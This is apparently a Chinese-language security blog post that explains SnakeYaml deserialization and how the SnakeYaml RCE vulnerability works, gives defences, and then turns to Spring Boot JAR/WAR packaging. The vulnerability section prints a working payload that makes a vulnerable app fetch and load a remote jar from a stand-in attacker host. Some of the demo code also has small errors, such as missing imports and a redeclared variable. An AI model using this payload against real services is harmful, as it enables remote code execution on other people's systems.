52-Java 开发者必知：SnakeYaml 反序列化与 SpringBoot 打包部署全攻略

只不过是胆小鬼罢了

于 2025-03-21 21:01:18 发布

阅读量710

点赞数 12

分类专栏： WEB安全开发文章标签： java

本文链接：https://blog.youkuaiyun.com/m0_70346880/article/details/146429091

版权

WEB安全开发专栏收录该内容

27 篇文章

订阅专栏

在 Java 开发的江湖中，SnakeYaml 的反序列化和 SpringBoot 的打包部署是两个不可或缺的技能。今天，我想和大家分享一下我在实际项目中积累的经验，从环境搭建到安全漏洞防范，再到打包部署的那些事儿。

SnakeYaml 反序列化：从基础到漏洞利用

环境搭建与依赖配置

在开始之前，确保你的项目中已经引入了 SnakeYaml 的依赖。在 Maven 项目中，这通常是在 pom.xml 文件中添加如下内容：

xml复制

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

反序列化基础

SnakeYaml 提供了 Yaml.load() 和 Yaml.dump() 两个核心方法，分别用于反序列化和序列化操作。Yaml.load() 可以将一个字符串或文件反序列化为 Java 对象，而 Yaml.dump() 则将 Java 对象转换为 yaml 格式的字符串。

java复制

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDemo {
    public static void main(String[] args) {
        // 反序列化示例
        String yamlStr = "name: Zhang San\nage: 30";
        Yaml yaml = new Yaml();
        Map<String, Object> obj = yaml.load(yamlStr);
        System.out.println(obj);

        // 序列化示例
        Map<String, Object> map = new HashMap<>();
        map.put("name", "Li Si");
        map.put("age", 25);
        String yaml = yaml.dump(map);
        System.out.println(yaml);
    }
}

反序列化漏洞：RCE 的风险

SnakeYaml 的反序列化过程可能存在安全风险，特别是在处理不可信的输入时。攻击者可以通过构造恶意的 yaml 数据，利用 Java 的 SPI 机制加载恶意类，从而实现远程代码执行（RCE）。

漏洞利用示例

java复制

import org.yaml.snakeyaml.Yaml;

public class VulnerableApp {
    public static void main(String[] args) {
        String maliciousYaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com/malicious.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(maliciousYaml); // 这里可能会触发 RCE
    }
}

漏洞原理

在上述代码中，攻击者通过构造特殊的 yaml 字符串，利用了 Java 的 SPI 机制。SnakeYaml 在反序列化过程中会根据 yaml 中的类型标签（如 !!javax.script.ScriptEngineManager）动态加载对应的类。如果这些类被恶意构造，就可能在加载时执行任意代码。

如何防范反序列化漏洞

避免直接反序列化不可信数据：对来源不明的 yaml 数据进行严格校验，确保其不包含恶意内容。
使用安全的配置：在 SnakeYaml 中，可以使用 SafeConstructor 来限制可加载的类。
升级库版本：确保使用的是最新版本的 SnakeYaml，以获得最新的安全修复。

SpringBoot 打包部署：JAR vs WAR

JAR 包打包与运行

SpringBoot 默认支持将项目打包为可执行的 JAR 文件。这种方式非常适合微服务架构，因为它内置了 Tomcat 容器，无需额外配置即可运行。

打包步骤

在 pom.xml 中配置 SpringBoot Maven 插件：

xml复制

<build>
    <plugins>
        <plugin>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-maven-plugin</artifactId>
            <executions>
                <execution>
                    <goals>
                        <goal>repackage</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

执行 Maven 的 clean package 命令，生成可执行的 JAR 文件。
使用 java -jar your-application.jar 命令启动应用。

WAR 包打包与部署

如果项目需要部署到传统的 Tomcat 服务器上，则需要将项目打包为 WAR 文件。

打包步骤

在 pom.xml 中将项目的打包方式改为 war：

xml复制

<packaging>war</packaging>

排除 SpringBoot 内置的 Tomcat 插件：

xml复制

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
        </exclusion>
    </exclusions>
</dependency>

配置项目的启动类，继承 SpringBootServletInitializer 并重写 configure 方法：

java复制

import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

public class YourApplication extends SpringBootServletInitializer {
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
        return builder.sources(YourApplication.class);
    }
}

执行 Maven 的 clean package 命令，生成 WAR 文件。
将生成的 WAR 文件放置到 Tomcat 的 webapps 目录下，启动 Tomcat 服务器。

打包常见问题与解决

问题 1：没有主清单属性

如果在运行 JAR 包时遇到 "没有主清单属性" 的错误，可以通过以下方法解决：

检查 pom.xml 文件中的 SpringBoot Maven 插件配置，确保指定了正确的主类：

xml复制

<plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <configuration>
        <mainClass>your.main.Class</mainClass>
    </configuration>
</plugin>